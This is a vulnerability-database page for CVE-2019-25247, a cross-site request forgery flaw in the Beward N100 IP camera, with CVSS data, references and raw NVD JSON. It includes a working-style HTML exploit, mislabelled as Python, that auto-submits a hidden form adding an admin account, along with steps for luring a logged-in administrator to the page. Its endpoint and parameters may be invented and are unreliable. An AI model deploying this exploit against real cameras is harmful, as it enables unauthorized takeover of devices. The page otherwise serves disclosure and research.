CVE-2019-25247

Description

Beward N100 H.264 VGA IP Camera M2.1.6 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without proper request validation. Attackers can craft a malicious web page with a hidden form to add an admin user by tricking a logged-in user into submitting the form.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Beward N100 H.264 VGA IP Camera 固件版本 <= M2.1.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2019-25247 CSRF Exploit for Beward N100 IP Camera -->
<html>
<head>
    <title>CSRF PoC - Add Admin User</title>
</head>
<body>
    <h1>CSRF PoC for CVE-2019-25247</h1>
    <p>Beward N100 H.264 VGA IP Camera M2.1.6 CSRF Vulnerability</p>
    
    <form id="csrf_form" action="http://TARGET_IP/cgi-bin/admin.cgi" method="POST" style="display:none;">
        <input type="hidden" name="action" value="add_admin">
        <input type="hidden" name="username" value="hacker_admin">
        <input type="hidden" name="password" value="P@ssw0rd123">
        <input type="hidden" name="privilege" value="admin">
    </form>
    
    <script>
        // Automatically submit the form when page loads
        document.getElementById('csrf_form').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If you see this, the attack may have been executed.</p>
</body>
</html>

<!--
Usage:
1. Replace TARGET_IP with the actual IP address of the Beward camera
2. Host this HTML page on a web server
3. Trick a logged-in administrator to visit this page
4. A new admin account 'hacker_admin' will be created

Note: This PoC demonstrates the CSRF vulnerability for security research purposes.
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25247
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25247
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25247/
[4] VulDB https://vuldb.com/cve/CVE-2019-25247
[5] https://www.beward.net
[6] https://www.exploit-db.com/exploits/46318
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5510.php
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5510.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2019-25247", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:52.937", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Beward N100 H.264 VGA IP Camera M2.1.6 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without proper request validation. Attackers can craft a malicious web page with a hidden form to add an admin user by tricking a logged-in user into submitting the form."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://www.beward.net", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46318", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5510.php", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5510.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}